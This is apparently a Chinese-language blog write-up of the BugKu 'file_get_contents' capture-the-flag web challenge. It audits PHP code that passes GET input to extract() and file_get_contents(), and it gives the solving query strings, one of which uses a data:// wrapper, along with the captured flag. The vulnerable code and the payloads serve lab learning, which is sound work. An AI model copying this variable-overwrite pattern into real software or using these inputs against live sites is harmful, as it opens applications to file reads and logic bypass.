BugKu-WEB-file_get_contents

BugKu-WEB-file_get_contents

Mel0ny Lv5

BugKu-WEB-file_get_contents

题目

Question
Question

思路

打开网页看到php代码,先打开f12看了一遍发现没什么问题,再开始代码审计

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php
extract($_GET);
if (!empty($ac))
{
$f = trim(file_get_contents($fn));
if ($ac === $f)
{
echo "<p>This is flag:" ." $flag</p>";
}
else
{
echo "<p>sorry!</p>";
}
}
?>

可以先参考一下extract()资料file_get_contents()资料
审计代码之后可以发现3个变量:$ac,$f,$fn,并且这三个变量都通过GET方法传递并通过extract()方法赋值
变量fn是需要读取文件,变量f是文件的内容去掉前后空格
题目要求变量ac必须强等于变量f才能输出flag,但是没有文件读取怎么办呢,可以先通过dirsearch扫描一下,果然发现有东西

Question
Question

这下有东西可以读取了,传入参数,得到flag

1
?ac=bugku&fn=flag.txt

Question

Flag

1
flag{068a5659eb1a536d3e87c83587c34dfb}

补充

还是评论区大神,不需要扫目录就可以做出来题,原文链接:https://www.yuque.com/u21437924/ap9vtm/gqkc3dcfmfpe5p85?singleDoc#X0GpS
直接读取php代码环境下有的文件内容,然后传递参数即可

1
?ac=hello&fn=data://text/plain,hello

这个内容的知识点是data伪协议

  • 标题: BugKu-WEB-file_get_contents
  • 作者: Mel0ny
  • 创建于 : 2025-09-05 11:37:48
  • 更新于 : 2025-09-05 12:48:37
  • 链接: https://mel0nyrame.github.io/2025/09/05/BugKu-WEB-file-get-contents/
  • 版权声明: 本文章采用 CC BY-NC-SA 4.0 进行许可。
评论
目录
BugKu-WEB-file_get_contents